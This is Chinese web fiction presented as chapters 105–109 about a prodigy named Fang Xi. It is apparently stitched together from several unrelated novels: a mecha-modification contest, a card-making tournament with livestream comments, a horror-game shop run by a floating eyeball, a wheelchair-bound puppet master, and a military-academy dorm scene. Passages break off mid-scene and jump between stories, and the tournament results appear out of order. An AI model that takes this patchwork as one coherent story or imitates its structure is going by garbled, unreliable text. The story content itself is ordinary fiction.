[恢复精神力也没必要睡觉啊？她不会是完全没搞懂题目的难度吧？见识少的机甲师估计都想不到会有多少攻击，这下成绩悬了。] 观众大多不看好方羲的成绩，钱佳嘉被观众催了几次换人看比赛，犹豫着提出一个猜测。 “有没有可能……这就是方羲的改造，她已经改造完了，在休息？” 钱佳嘉还记得神行千里甲马符的0.1%改造度，虽然没法理解原理，但匪夷所思的技术多了去了，也不是没可能。 [……钱钱你说实话，是不是收了这个人的钱？选手那么多，没必要没必要，不行咱就换。] [萤火星比赛那个纹路应该是改装痕迹。但复赛这次就不一定了，加速能取巧，防御你取巧一个试试？哪有改造这么简单，画几笔就行的？真的不是在糊弄人吗？] [我明白了！方羲的“神行千里甲马符”，改造后看起来有类似纹路。复赛题目她不会，但是开了直播不好直接摆烂，才装模作样画了这些纹路。] [笑死，退一万步讲，如果方羲真的改造完了，她干嘛不提前交卷呢？过去比赛有人磨蹭时间是为了多试试平时摸不到的材料，但睡觉在哪不能睡啊！] 观众们猜测纷纷，百思不得其解，浑然不知自己已经完美错过真相。 冲着初赛超音速和新奇改造技术来围观的观众，满腔好奇都变成了无语，方羲个人直播间的热度直线下降。 还留在方羲个人直播间里的观众，大多是来看热闹的：“我倒要看看她能睡多久/要做什么！” 第一小时，别的改造间紧张改造，方羲一动不动。 第一天，别的直播间热火朝天，方羲在“睡觉”。 第二天，别的直播间紧锣密鼓收尾，方羲还没睁眼。 非静止画面.jpg …… 【机甲即将上场展示，倒计时1分钟。】 最后一遍大赛倒计时提示音响起，方羲准时睁眼。 两天修行下来，记忆苏醒后就一直濒临见底的灵力，终于有了些存量。 和修仙界同样修行时间获取的灵力没法比，但比没有“信号放大器”独自在星际修行，增长的灵力多了近十倍。再来几天，差不多够方羲恢复到筑基水平，能画更多、更复杂些的符箓。 方羲起身看着椅背皱了皱眉。上面符箓痕迹黯淡模糊，只有近距离触碰才能感觉到，椅背的材料变脆弱了，好像耗去了所有精华。 聚灵符的灵气已经耗尽。 这次比赛考防御，攻击中内部破损很正常，驾驶椅报废了也不影响机甲上场测试。 但之后的比赛，总有需要驾驶椅的时候。 比赛中蹭免费信号放大器，到底不够方便，还是得赚钱用自己的机甲才行。 方羲把新机甲提上规划，确认机甲驾驶舱舱门关闭，按下提交。 地面裂开缝隙，机甲顺着出场通道离开，前往测试区。 方羲个人直播间热度已经垫底，画面突然发生变化，才惊醒般飘过寥寥几条弹幕。 [支棱几分钟，睡觉48H，睡得真香啊……] [差点给我看睡着了。不行就直接退赛呗，睡觉算怎么回事！] [无语，方羲居然一点也不慌，真睡到了最后一分钟？这是傻大胆还是真有底气？] [不会吧，现在还有人觉得方羲有秘密底牌？啥底牌，她的画吗？哈哈哈哈赌一个一秒淘汰，不能再多了！] “接住【吞死】之白色傀儡的羽毛！” “如果有一天，你们意外迷失在副本之内。这群尽职尽责的鸦群，一定会找到你们！” “哪怕，无法带你们重回人类世界，白色傀儡也不会让你们孤独地死在地狱！” “这可是，我们开店第一天，为你们准备的礼物！” 黑壳之书表演完毕，朝所有观众鞠了个躬。 “那么，祝你们购物愉快。” 第 106 章 第 106 章 “嘎——嘎——” 群鸦嘶哑粗糙的声音，在人群头顶，逐一响起。 它们扑腾着翅膀，飞了好久，赶在羽毛掉光之前，迅速离场。 在不亮的灯塔上，在商业城区的屋顶上，在路边的小摊里，还有售卖钻石项链的奢侈品店里。每一个地方，似乎都能捕捉这六百只白色乌鸦的身影。 “啊啊啊我拿到了！” “（痛苦面具）我…我的脸刚刚被乌鸦踩了一脚！” “（大哭）等等！等等！大白鸦你们别走啊！我一根毛也没有！” 远离环星前线、远离高污染星球的帝国公民，或许对一千零二抛下的白色鸦羽，背后所象征的意义感触不深。 只当是，一场华丽奇妙的开幕礼。 就在方羲扔下卡笔，接过宋约顶着一脸的肃然起敬递过来的一杯冰咖啡，靠在椅子上，慢慢悠悠的喝了起来的时候，整个直播间已经炸了。 【一天学会十种E级卡牌？这怎么可能？】 【他作弊了！】 【他一定作弊！！】 【这些卡牌，他肯定早就学会了！！！】 下一秒，卡牌协会的官方直播间的主播再次举起了一块电子显示牌，上面赫然写着：律师函警告！ 字都比上一次的粗了！！！ 【……】 空气安静了一瞬！ 直到好几分钟后，才有一条弹幕颤悠悠的飘了出来。 【方羲：你们不是已经知道，我比较擅长生活类卡牌了吗？】 【？？？】 紧跟着，又有几条弹幕飘了出来。 【方羲：十天学会十张E级卡牌，和一天学会十张E级卡牌，听起来好像也没有多大区别不是吗？】 【？？？？？】 【方羲：你看，你们之前说我是复印机成的精，我都没有反驳过，所以你们还有什么好惊奇的？】 【？？？？？？？？】 且不说星网上这会儿是如何的沸腾，崇化大酒店这边，随着比赛结束的钟声响起，无数工作人员敲门而进，开始统计所有参赛选手学会的卡牌的数量。 宋约四人这一次总算是没有让自己失望，基本上都学会了一张E级卡和两张F级卡，在所有参赛选手中，取得了中等偏上的成绩 最后，方羲队以一千一百九十分的历史高分拿下了星火杯团体赛初赛第二场的冠军。 紧跟其后的，是牧诏的团队，他们也拿到了一千零二十分， 排在第三的是陈贺队，总分五百一十分。 按照规定，排名前二十的队伍，能继续参加第三场也就是最后一场比赛。 但启明星第一中学的校长却已经有些迫不及待。 尤其是在看到同行的欧阳震华老先生正看着新闻里，方羲的照片以及照片旁边的成绩单，一阵出神的时候，他忍不住说道：“欧阳老先生觉得我们的这个学生怎么样？” 欧阳震华回过神。 他说：“我从来没有想到过，他会是这么的优秀。” 在这之前，他对方羲的印象一直停留在，欧阳瑞很喜欢的，性格比较内向，但是非常善良的少年的层面上。 毕竟欧阳瑞那么喜欢他，他都没有想过要利用欧阳瑞来接近他，即便是他之前特地让牧诏给他带话，让他如果遇到什么不懂的，可以来向他请教，他都没有来找过他。 现在看来，他这哪是性格内向，他这分明是天赋卓绝，自信十足。 听见他的话，校长的声音瞬间就大了两分不止：“那不知道欧阳老先生愿不愿意收下他做学生？” “什么？” 欧阳震华愣了一下。 “不知道您愿不愿意收方羲做学生？” 校长就差直接挥舞起双手了。 一个资质这么好的学生就摆在您面前，您难道一点都不心动吗？ 欧阳震华：“这也是方羲同学的意思吗？” 校长这才想起，他们好像从来没有和方羲商量过这件事情。 但他还是直接说道：“我想方羲同学肯定也是希望能够拜您为师的。” 方羲除非是疯了，才会拒绝这么好的一个机会。 欧阳震华默了默：“容我先考虑一下。” “那可真是太好……啊？” 校长懵了。 一个资质这么好的学生就摆在您面前，您还有什么好考虑的？ 欧阳震华却直接告罪离开了。 因为相比于这件事情，他觉得还是另一件事情更重要。 他给牧诏打了个电话。 “我看过你的比赛了，不到十五天的时间就学会了二十张E级卡，你的功底又扎实了不少。” 牧诏当时正准备出去吃晚饭。 卡牌协会在餐厅里为他们准备了一场丰盛的晚餐，以庆祝他们顺利完成第二场比赛。 但牧诏的情绪并不怎么高。 因为他是真的没有想过他会在这场比赛里输给方羲。 毕竟这可是他最擅长的领域。 所以他当然也知道，欧阳震华打来这个电话的真正目的。 他是来安慰他的。 不过他这会儿其实已经冷静了下来。 他说：“总算是没有丢老师的脸。” 至少他取得的这份成绩已经超出了他的预期。 所以也没有什么好失落的。 欧阳震华顿时就笑了：“怎么会，能有你这么出色的学生，老师骄傲还来不及呢。” 至少牧诏的这份沉稳坚定的心态可比当年的他要强多了。 两人又闲聊了几句，欧阳震华最后只说道：“好了，你先去吃饭吧，祝你下一场比赛，能够取得更好的成绩。” 牧诏：“请老师放心，我一定会拿下第三场比赛的冠军的。” 好吧，他还是有一点不甘心的。 哪知道就在这个时候，旁边的一扇房门正好打开了。 牧诏下意识抬头一看，然后正对上一张再熟悉不过的面孔。 牧诏：“……” 方羲：“……” 偏偏也就在这个时候，欧阳震华直接挂断了电话。 以至于无法继续接听电话，然后假装没有看到方羲的牧诏：“……” 这算什么，背地里放大话却被正主撞见？ 牧诏还真就从来没有经历过这样的场面。 “咳！” 但好在他的心理素质真的很好：“恭喜你取得第二场比赛的胜利。” 但他不知道的是，他发红的耳根已经出卖了他。 方羲不由怔愣了一下。 他也从来没有见过这样的场面。 毕竟他跟这位矜贵小少爷见的并不多，但他每次出现在他们面前的时候，即便是发梢都写满了彬彬有礼和一丝不苟，像展厅里的珍宝，只可远观。 哪怕是上一次他向他宣战的时候。 可是现在，他在方羲脑海中的形象突然就变得生动了起来。 于是方羲顺着他的话往下说道：“谢谢。” “下一场比赛准备的怎么样？” 牧诏：“已经准备好了。” 方羲：“那么期待能够和你再次一较高下。” 听到方羲也这么说，牧诏心底的那点局促彻底消散了。 但是……他还是觉得方羲的语气有点不太对劲。 不过也就在这个时候，方羲的光脑响了起来。 他朝着牧诏点了点头，算是告罪，然后就朝着旁边没有人的楼梯间去了。 牧诏也只能暂时压下了心中的疑惑， 电话可不正是谷大姨打来的：“小羲，这一次你可是给我，给咱们谷家，大大的长脸了。” “我刚才路过公共厕所都听到里面有人在谈论你。” “赵老婆子一家现在恐怕已经气的在骂娘了。” …… 看得出来谷大姨很高兴，所以方羲也就默默的听着，时不时附和上一两声。 就这样，直到十几分钟后，谷大姨才收拾好情绪说：“其实我今天打电话给你主要是为了另一件事情。” “最近这段时间，有不少家族打电话给我，说想要资助你，他们开出的条件我都听了，一个比一个优厚。” “比如第十星的李家，他们说可以给你提供每年五千万的助学金，再送给你一套位于中央星的别墅，再给你配上一辆车。” “赵家开出的条件就更优厚了，他们承诺会让他们家族的S级制卡师收你为学生。” “还有孙家，他们还承诺可以把我调到孙家开办的贵族中学当教导主任，小池也可以跟着我，去那所贵族中学念书……” “这种事情我可不好替你做主，所以你是怎么想的？” 而后不等方羲说话，她就又说道：“我跟你说这些，不是因为我眼馋他们开出的条件，而是单纯的想要告诉你，你现在有多抢手。” 方羲明白了。 因为他最近都在比赛，光脑都处于关闭状态，那些人找不到他，就找到了谷大姨那里。 但他们迟早是会找到他身上来的，谷大姨这是怕他到时候会经受不住诱惑。 他说：“大姨您放心，我并没有投靠某个家族的想法。” 如果有更好的选择，相信绝大多数人都不会选择去给别人打工。 更何况如果只是单纯的雇佣和被雇佣的关系，至少还是一种相对公平的关系，因为不想干了可以直接辞职。 但是如果他接受了这份资助，那他这辈子恐怕都没有办法摆脱资助人的束缚。 毕竟对方如果不是打着想要在他身上获得百倍甚至千倍的回报，又怎么可能舍得在他身上投入这么多。 谷大姨：“那就好。” “大姨手里还有七八万星币，你要是缺钱了，就找大姨要，总之，就算那些人开出的条件再优渥，你也不要答应。” 她看了看时间，发现自己已经上了足足一个小时的班了！！！距离下班时间，简直遥遥无期！ 身为导购的一千零二，逐渐感到不耐烦起来，想了想，飘到最高的架子上，平躺，决定在上班时间浅眠一会。 但是，又又有愚蠢的人类在底下发出同样的提问：“那个，请问一下，这些苹果形态的残肢……有什么特别的功效吗？” 一千零二呵呵一笑：“爱买不买，滚！别吵我！” 被打工眼珠子无辜迁怒的玩家们：“QAQ呜呜呜呜呜。” 第三次，外面又进来了一群对红苹果一无所知的的玩家，向负责这一片地带的一千零二发出相同的疑问。 ……而负责管理材料杂货区，正在忽悠一群冤大头只要消费多少多少，就能成为SVIP6会员，加入专属福利群，还能获得收藏家亲自设计的群称号的春醒，说话声忽然一顿。 一千零二：“劝你别买。” 春醒：“（警觉）” 第 107 章 第 107 章 打工眼珠子终于如愿以偿地提前下班（因为藤蔓觉得眼珠子是来碍事的，让她直接滚蛋了）。 一千零二头顶一个挨打导致的痛包，前往商业城的美食区，开始进行她今天第二份兼职——为方羲买晚饭。 方羲没说特地指定要吃什么，一千零二顶着路人玩家惊讶的目光，大摇大摆地逛了一圈，然后才矜贵地飘进一家在看上去人气不错的餐厅。 下单，点菜，选择打包外带。 水煮肉片、酸辣土豆丝、铁板豆腐、可乐鸡翅炒年糕、金钱蛋、大白米饭……还有一份清淡口味的鱼头汤和三条清蒸鲈鱼！ 连臭猫们她都考虑到了，眼珠子真心实意地觉得，自己实在太辛苦了！真想当甩手掌柜不干！可谁让这群懒蛋是她的同伴呢？ 饭菜至少要等待半个小时才能出单，一千零二又飘去外面的奶茶店，为自己点了一杯高雅的生椰拿铁，顺便还给方羲点了外带的一份法式缤纷水果吐司、一个十寸特调多肉蓝莓蛋糕、十二块巧克力蛋挞…… 一小时后，一千零二飞回餐厅，顺利取到了自己的外卖，在服务员震惊的注视下，把所有打包袋子一一放进肚子里，然后无情地飘走。 【……有一说一，这个小哥哥有亿点帅！】 【等等，八个小时七十三张E级卡，平均每小时九张E级卡？他都不需要冥想吗？】 【那还是要的，他平均冥想一次只需要四十分钟，两分钟就能画完一张卡，我用在我身上停留过的一百三十八只蜜蜂作证，我绝对没有统计错。】 【……这是一个E级制卡师应该有的速度吗？他都画完七张卡了，我才冥想到一半？对了，我都快C级了。】 【太打击人了，你还不如告诉我他作弊了！】 【何止啊！你们知道他觉醒成为制卡师才多长时间吗？不到一个月。】 【？？？】 【那你们又知道，他晋升到E级制卡师才多久吗？将将一个星期。】 【？？？？？】 【其他的先不说，你们还记得他刚才制作了几种E级卡来着？】 【十种？】 【也就是说，这一个星期里，他就学会了制作十种E级卡？我看着我脚边的那一整箱的废卡，都快要哭了你们知道吗？】 【嫉妒不起来了，人家复印机成精的，我们这些凡人怎么能比？】 【所以第二场还要比吗？】 初赛第二场，比的是制卡师对卡牌的领悟能力。 卡牌协会会收集最近这段时间发明出来的新卡牌，并安排几位老师提前录制好相应的教学视频，在参赛选手进入考场之后，通过这些教学视频教导参赛选手制作那些新卡牌，半个月内，学会的卡牌越多，积分就越高。 在此之前，第十星系星火杯初赛第二场最好的成绩是四张E级卡牌，现在方羲十天就学会了制作十种E级卡牌，这要是再多给他五天的时间……所以第二场还用得着比吗？ 【……】 【你们是不是忽略了什么，要不你们再看看方羲的成绩？】 【嗯？】 【是二百五十五分没错呀，加上四名队友的成绩，他们这一队的总成绩达到了四百分？等等，才四百分？也就是说，他的那四名队友加起来只拿了不到一百五十分？两个陈贺？】 【一神带四狗？】 【宋约等人：你们早上的时候可不是这么说的！！】 【陈贺：我还能重复利用是吗？】 【……重点是这个吗？我的意思是，他现在的积分就已经达到了二百五十五分了。】 【我好像听懂了。】 【我去，去年第十星系星火杯初赛第一名的三场总成绩也才二百五十分。】 【所以这何止是第二场不用比了，整个初赛他都不用再参加了。】 【所以他这何止是空降初赛第一场第一名，他是直接抢走了一个半决赛的名额了，甚至于如果没有牧小少爷的话，他已经坐在冠军的宝座上了。】 【？？？？？？？？？？？】 谷家。 谷大姨笑得都快合不拢嘴了：“好好好，不愧是我们老谷家的孩子。” “不愧是我妹妹的孩子。” 她一边说着，一边轻车熟路的往赵老婆子家去了。 牧氏。 谷燕的那些同事：“……” 他们齐刷刷转头看向谷燕：“这就是你说的你表弟的实力还可以？” 谷燕：“……” 她能说她之前说的那句‘还可以’真的不是什么谦虚的话吗？ 毕竟方羲觉醒才不到一个月，她脚上的那双运动鞋因为她每天的擦洗看起来还跟新的一样。 等等—— 重点好像不是这个。 重点是他们之前都只投了一百星币在方羲身上…… 想到这里，他们忙不迭的打开光脑，想要再追投一笔钱。 然后就发现，卡牌协会的官网上，方羲的赔率已经从原本的1：5降到了1：1.05。 他们：“……” 他们长这么大就还没有见过这么低的赔率。 而且这速度。 不愧是你，卡牌协会。 这也就意味着他们彻底错失了一个发笔横财的机会。 几乎所有人都露出了后悔的神色。 他们只能安慰自己：“没事，这只能说明我们命里没有发这笔横财的机会。” “更何况我们的目标已经达到了不是吗？感谢方羲弟弟，我们下个月的饭钱和网钱都有了。” 谷燕：“……” 那她赚的可就不止一个月的饭钱和网钱了。 毕竟她投了一千块呢。 所以看在这笔钱的份上，她是不是应该表示表示。 想到这里，她打开光脑，点开了已经好几个月没有点开过的方羲的私信，给他发了一句恭喜，又给他发了一个六百六十六元的红包。 没想到的是，下一秒，方羲就回了她一个谢谢姐，然后直接领了她的红包。 比她那个垃圾前男友以前回复她的信息的速度还要快。 真不错。 谷燕心想。 中央体育场这边，随着最后一名参赛选手面前的卡牌清点完毕，星火杯初赛第一场正式宣告结束。 参赛选手开始有序退场。 他们在比赛中制作的卡牌也都可以直接带走。 方羲身边很快就围满了人，他们都是第一中学的学生：“方羲学弟，同样是从第十中学毕业的学生，你为什么能这么优秀？” “大佬，做家教吗，我觉得我特别需要你。” …… 以至于好一会儿，方羲才终于从人群里挤了出来。 他没有和其他人一起从大门出去，因为欧阳瑞给他发消息说，现在大门口全是想要采访他们的记者。 所以欧阳瑞他们把车停到地下停车场去了。 牧诏的心情不免有些复杂。 虽然在这之前，外界一直将他的定位放在黑马上，认为他想要跻身初赛前十，不是一件容易的事情。 但其实哪怕是在比赛开始前一秒，他都不觉得冠军之位会落到除他之外的其他人身上。 这不仅仅是因为自信，更因为他对自己的实力有着非常清晰的认知。 但他没有想到的是，半路会杀出个方羲。 这个在他的印象中属于阳光帅气大男孩那一方档的少年，骤然间以凌厉的姿态撕破了他表面的温润无害，变成了让他不得不郑重对待的……对手。 是的，对手。 所以等到方羲走到他身旁的时候，他出声说道：“恭喜。” 方羲也已经冷静下来。 所以他跟着放慢了脚步，和牧诏并肩而行。 他说：“哪里，听说你不仅完成了比赛，还在赛场上改良了E级五雷卡，和你相比，我还差得远呢。” 按理来说，牧诏应该是要有加分的。 只是因为几十年前有人将早就已经改良了的或者发明出来的卡牌，带到赛场上，冒充是在赛场上改良或是发明的，干扰比赛秩序，所以后来，卡牌协会废除了这条加分规则。 牧诏：“可是就算加上那几十积分，也还是没有你的分数高。” 他说：“所以后面的比赛你会参加吗？” 方羲：“当然。” 尤其是第二场比赛。 毕竟E级卡牌的图纸可是要六千星币一份呢，而第二场比赛中，大赛官方提供的那些图纸，只要学会了，以后可就能免费使用了，十五天的时间，够他学会二十种卡牌，省下十几万星币了。 牧诏：“那两天后，不见不散。” 方羲听出了他语气中的战意。 于是他笑着说道：“好。” 牧诏却觉得他的语气不太对。 但也就在这个时候，地下停车场到了。 远远的，他们就看到了欧阳瑞和小阿拉斯加。 方羲朝着他们招了招手。 欧阳瑞直接小跑着冲了过来，他一把抱住方羲的腿：“哥哥真厉害！” 小阿拉斯加跟着嗷呜了一声。 可是冯晋这边的气氛可就不太好了。 虽然他们在这场比赛里也取得了两百零五分的积分，顺利进入了团体赛前一百。 但这和冯晋的预期，还是差了不少。 这点分数，最后别说是让他进入初赛前十了，恐怕就算是前一百也够呛的。 但他也不能责怪陈通他们无能，因为陈通四人几乎都拿到了五十分的积分，而他只拿到了五个积分。 不过这也不能怪他，只怪大赛组委会吃饱了撑的，往比赛场地里投放那么多的蜜蜂，害得他没有办法集中精神去制作卡牌。 但更让他没有想到的是，他没能实现自己的目标，方羲却借着这场大赛名声大噪。 凭什么？ 他凭什么拥有那么好的资质？ 他凭什么还能继续压过他一头？ 所以冯晋直接转头看向身后的那些大少爷和大小姐：“你们或许不知道，为了表示对我的感谢，欧阳震华老先生还把他写下的一份修炼心得也送给了我。” 听见这话，那些大少爷和大小姐的眼睛瞬间就亮了。 冯晋咬牙道：“你们谁要是能把那个方羲弄走，我就把那份心得送给谁。” 就算是暴露了他的本性又怎么样，他管不了那么多了。 无论如何，他都必须要让方羲立即从第十星系消失。 不等陈通几人开口，几个小家族的子弟迫不及待道：“晋哥放心，这件事情就包在我们身上了。” 陈通几人相互对视了一眼，没说话。 健康到，放到一众傀儡师里，甚至算是一个异类。 而梨花雪……先不说她苍白得有些过分的皮肤，外露肌肤上透着暗红色的绷带和伤疤，呼吸破碎、无力。 她身上这种病弱的气质，可不是一个健康人随随便便能模仿出来的。 像是濒死的花。 方羲盯了一会，忽然发现视角感官有点不对，梨花雪怎么比她矮了一截？这是正常人的身高？ 目光缓缓向下移动，方羲才忽然意识了什么，愣了愣。 轮椅？ 第 108 章 第 108 章 一双有力的、透着青筋的手，忽然贴上她的脸颊，缓缓伸向脖颈处，却没用力，像是故意悬在半空。 “我帮你找到了一个机会。” 背后传来一个熟悉的声音。 还有灰狼被硬生生拖拽进来，濒死的呜咽声。 “我记得，你好像很仰慕这些先行者？”陈卧雪轻轻笑道，双手缓慢地抚摸着脸颊的主人，却又掐出鲜明的血痕。 好烦。 几乎是同一时间，第十星系所有赛点都响起了一个沉稳的女声：“比赛正式开始！” 所有参赛选手都第一时间拿起了手边的卡笔，奋笔疾书了起来。 因为来到现场观看比赛的人并不多，加上在场的工作人员绝大多数都是机器人，所以比赛刚开始的时候，场上还算安静，绝大多数都画的很顺畅。 哪知道就在这个时候，一道道震耳欲聋的铜锣声突然就响了起来。 “出什么事了？” 不少人受到惊吓，直接就抬起了头。 然后他们就看到附近的安保机器人都一动不动，而就在不远处的主席台上，几名工作人员正在用力敲打着面前的铜锣。 在场的参赛选手很快就都反应过来。 他们低头一看，果不其然，他们桌子上的卡牌全都已经报废了。 “靠！” 有些人甚至忍不住爆了一声粗口。 其中就包括冯晋。 但也有一些人从头到尾都没有受到影响，比如方羲、牧诏、陈通、宋约等人。 直播间里。 主播：“看来卡牌协会也觉得初赛第一场有点简单了，所以开始往上加难度了。” 于是接下来的几个小时里，各种各样的插曲接二连三的响起，有些人的光脑突然响了起来，有些人头顶的水管突然炸开……后来，组委会甚至还拉来了一车的蜜蜂放进了体育场里。 直播间。 网友：【难怪以前星火杯的初赛第一场都是在双休日举行，这一次却放到了工作日，还给每个进场的观众发放了应急包……这是有意在减少现场观众的数量呀。】 【笑麻了，启明星连颗野草都不长，组委会却搞来了一车蜜蜂。】 【这算什么，对面的伊丽莎白星搞了一车的小强。】 【……爆杀。】 【不行，我要去围观了。】 也就是在这样一个鸡飞狗跳的情况下，第一场比赛结束了。 接下来，就是统计阶段。 而这个时间点，正好是晚饭饭点，所以卡牌协会第十星系分会的官方直播间瞬间就涌进了上亿观众。 【今年的初赛第一场的评分规则还是和去年一样，一张F级合格卡牌积一分，瑕疵品积零点五分，一种F级卡牌积一分，画废一张扣零点五分。 一张E级合格卡牌积三分，瑕疵品积两分，一种E级卡牌积三分，画废一张扣两分。 一张D级合格卡牌积五分，瑕疵品积四分，一种D级卡牌积五分，画废一张扣四分……】 【你们猜，最终哪个小队会拿到团体赛的第一名？】 【陈贺那一队吧，他们那一队可是有两个D级制卡师。】 【我猜是钱善静那一队，她那一队的四个E级制卡师据说全都快摸到D级的门槛了。】 【我赌孙建宏那一队……】 卡牌协会也没有卖关子的意思，直接就从这些热门选手的团队开始统计。 【成绩开始公布了。】 【陈贺，D级合格卡牌一张，瑕疵品一张，种类两种，E级合格卡牌十张，种类十种，废卡两张，积七十五分。 宋雷，D级瑕疵品卡牌一张，种类一种，E级合格卡牌八张，种类八种，废卡一张，积六十一分。 陈董…… 他们的总积分为三百分。】 【七十五分？陈贺的积分正好打破了第十星系星光杯初赛第一场的七十四分的个人积分历史记录。】 【牛逼！】 【不出意外的话，他们肯定是这场比赛的冠军了。】 听见这话，第十星赛点里的陈贺等人顿时露出了一丝笑意。 【钱善静队的成绩也出来了。】 【钱善静，D级合格卡牌两张，种类两种，E级合格卡牌十张，种类十种，废卡两张，积七十六分。 陈列，E级合格卡牌十四张，种类六种，废卡一张，积五十八分。 刘营和…… 他们最后的总成绩是三百零一分。】 【……】 【正好多了一分？】 【哈哈哈哈，我就知道钱学姐一定会赢的。】 【钱学姐是最棒的！】 第十星赛点里，陈贺不可置信的转头看向了不远处的一名少女。 对方理了理衣服，直接回了他一个承让的微笑。 哪知道下一秒。 【孙建宏队的成绩出来了。】 【孙建宏，D级合格卡牌两张，种类两种，E级合格卡牌十张，种类十种，废卡一张，积七十八分。 亿安，E级合格卡牌十五张，种类七种，废卡三张，积六十分。 萧瑟…… 他们最后的总成绩是三百零五分。】 第十星赛点里，宋雷同样回了神情僵硬的陈贺和钱善静一个承让的微笑。 【……】 【钱善静也被爆菊了？】 【这一波三折的。】 【盲猜一个，孙建宏也马上就会被爆菊了。】 【那可就好玩了。】 然而随着其他种子选手的成绩一一揭露，最终都没有哪个队伍的分数超过孙建宏队。 很快，各大赛点就开始统计普通队伍的成绩了。 看着那一个个从几十分到一百几十分不等的分数，众人心里都有数了。 【看来这一场比赛的前三就是孙建宏、钱善静和李贺这三支队伍了。】 【只能说是我意料之中的结果。】 【他们三个全都打破了往年的记录，今年的第十星系果然人才辈出，我们翻身有望了。】 【可以散了。】 【拜拜各位，继续吃饭去了。】 【等等，你们是不是忘了一个人。】 【那位牧家小少爷。】 【是哦。】 【他的成绩应该也早就出来了，可能是因为分数不太高，所以被我们漏看了吧！】 【看来这位牧家小少爷名不副实啊！】 也就在这个时候，排行榜突然就又动了起来。 牧诏的名字瞬间空降第一！ 【？？？】 他们点开排行榜一看。 【牧诏，E级合格卡牌三十张，种类三十种，积一百八十分……一百八十分，他一个人就积了一百八十分？？？】 【八个小时，其他人最多也就是制作十五张E级卡，他画了三十张，而且还是不同种类的，最主要的是，还没有一张瑕疵卡，也没有失误一次……开什么国际玩笑。】 【没开玩笑，刚从启明星的直播间里回来，你知道为什么都过去这么久，牧诏所在的队伍的卡牌数量都没有统计完吗？因为他制卡制到一半的时候，突然来了灵感，然后当场把E级五雷卡改良了……于是裁判就先帮他去给那张五雷卡做认证去了。】 【……知识储备之强，放眼星际联盟，同辈之中，无人能敌，这句评语，竟然是真的？】 【牧家小少爷，恐怖如斯。】 【我们之前竟然只用最大黑马来形容他？这哪里是黑马，这根本就是一头猛虎了。】 【看来这一场比赛的第一名是牧诏队了。】 【不愧是牧家小少爷。】 也就在这个时候，排行榜突然就又跳了一下。 紧跟着，原本牢牢占据着第一名的位置的牧诏等人的名字突然齐齐向下掉了一位。 紧跟着，一列新的名字出现在第一名的位置上。 【？？？】 【？？？？？？】 【？？？？？？？？？】 【发生了什么？】 【牧诏队也被人顶下去了！！！】 【卧槽，这怎么可能？】 他们定睛一看：【方羲？这谁？E级合格卡牌七十五张，种类十种，积二百五十五分……】 二百五十五分？ 【……他一个人就拿下了二百五十五分，比牧小少爷多了整整七十五分……多了整整一个陈贺……】 陈贺：“……” 你们礼貌吗？ 然后他就反应了过来：“这不可能——” 【找到了……方羲，启明星第一中学高二在读，E级制卡师……一个E级制卡师怎么可能在短短八个小时的时间里，制作出七十五张E级卡牌？而且也是零瑕疵品，零废卡。】 众人心中不约而同的升起一个想法：“他一定是作弊了！” 而就像是猜到了他们心中所想一样，卡牌协会的官方直播间的主播默默举起一块电子牌，只见上面赫然写着：“律师函警告！” 众人：“……” 也是，这跟直接指着卡牌协会的鼻子，说他们监管不力有什么区别。 【所以这个方羲到底是何方神圣？】 启明星赛点。 牧诏率先反应过来，蓦地转头看向了不远处的方羲。 几乎是同一时间，附近的一个直播飞行器转过身，将镜头对准了下方的方羲。 下一秒，方羲的面孔就出现在了卡牌协会的官方直播间里，出现在了上亿观众面前。 灯光倾泻在他的身上，勘破他从容的姿态之下那无尽的锋芒。 他那微微扬起的唇角仿佛是在向这个世界，宣告他的降临。 不，不是的。 我只是一个在争夺灵魂主权中，注定要被献祭的失败品，被偷走荣誉和作品的废物，没有丝毫勇气、只会使小手段的弱者，一滩随波逐流的污泥。 就连宣泄怒气，也只能在日记本里偷偷写。甚至用完日记本之后，也不敢不销毁痕迹，否则会留下让人拿捏的把柄。 所以，我只是卑劣地想来看一看。 偷看一眼，身为先行者的你，灵魂的光辉究竟是怎么样的颜色。 第 109 章 第 109 章 “梨花雪”似乎不太擅长言辞。 至少目前为止看来是这样。 方羲内心小人深沉地摸摸下巴，天啊！这不就和她一模一样吗！ “我们换个地方再聊。” 方羲扫了一眼空荡荡的休闲区，想了想，上前帮梨花雪推轮椅，带着她前往后展厅。 “你的弟弟不一起过来吗？”方羲漫不经心地问，又马上自问自答道，“不过也是，最近新晋玩家们在进行临时特训，好像都很忙。” 梨花雪只是一名三级的新晋玩家，没有挤进新晋三千，也没有前往浮空岛的权限，更不可能说参加新晋特训了。 方羲报名时，军训早已结束。 因为军训算入学分，教务处为她申请了虚拟战场军训项目，体能训练则通过仪器监测，结束后，依然会计算学分，但只有及格水平。 拿到教务课表后，正赶上周日，给方羲腾出一天时间来简单了解一下学院情况。 学校内部逛了一圈，摸清楚哪个大楼是哪个院系，图书馆，食堂，操场，格斗战场，虚拟训练室，以及后山实战申请格式等等。 等到她回寝室，已经是夜晚了。 一打开门，入目是一头拖曳的白色长发。 穿着七院校服大衣的女生，端坐在客厅茶桌前，原本视线一直盯着光脑，听到开门声，她转过头，看了眼方羲。 方羲愣了一下，友善的朝她点头。 “你好。” 对方如同冰雕一样的五官，黑色细眉似乎带着无形的冰霜，眼神清冷的扫了一眼，淡淡的回应：“你好。” 方羲关上门，对方看了眼她的眼睛，一只手拖着下巴，目光淡淡的盯着她。 “有事吗？”方羲转身。 “你是，单兵系的一年级新生？” 方羲点头，“是，你也是单兵系？” “不是”，她摇了摇头，清冷的神色不变，“我是召唤系，大你一届。” 方羲疑惑问了句：“你不是单兵系，那你怎么认识我？” 顾妗雪垂眸看了眼自己的光脑，“你没看论坛？” “你入学第一天，论坛就发了”，说着，她点了几下，冷漠的脸上露出一个轻蔑的表情：“哦，还是首页，真够无聊。” “与其在这怀疑你，还不如多去训练室打几场，垃圾就是喜欢叫嚷。” 她语气冷冷的。 听的方羲云里雾里，但也知道并不是指她，还能神色自若的询问：“怀疑我？” “我做了什么”，方羲呆了呆。 原本要回房间的步子一转，去取了一支营养液，在茶桌另一边坐下，点开校园板块。 她是第一次进去，还得先注册。 看见她拿着学生卡扫描的时候，顾妗雪都笑了，冰霜乍然破碎，流露出森冷的湖水：“哈，你还没去看过。” 她好整以暇的注视着方羲的脸色，目光游弋在她的眼睛之间，一对不一样的瞳孔让顾妗雪格外好奇。 她喜欢一切奇特的眼睛。 论坛-军校板块，方羲只能在烛荆府的论坛中发言。 刚进首页，她看到几个飘红的帖子。 【联赛结束，最新排行出炉，各军校返航】 【有没有人去跃迁站接学长学姐，这里集合】 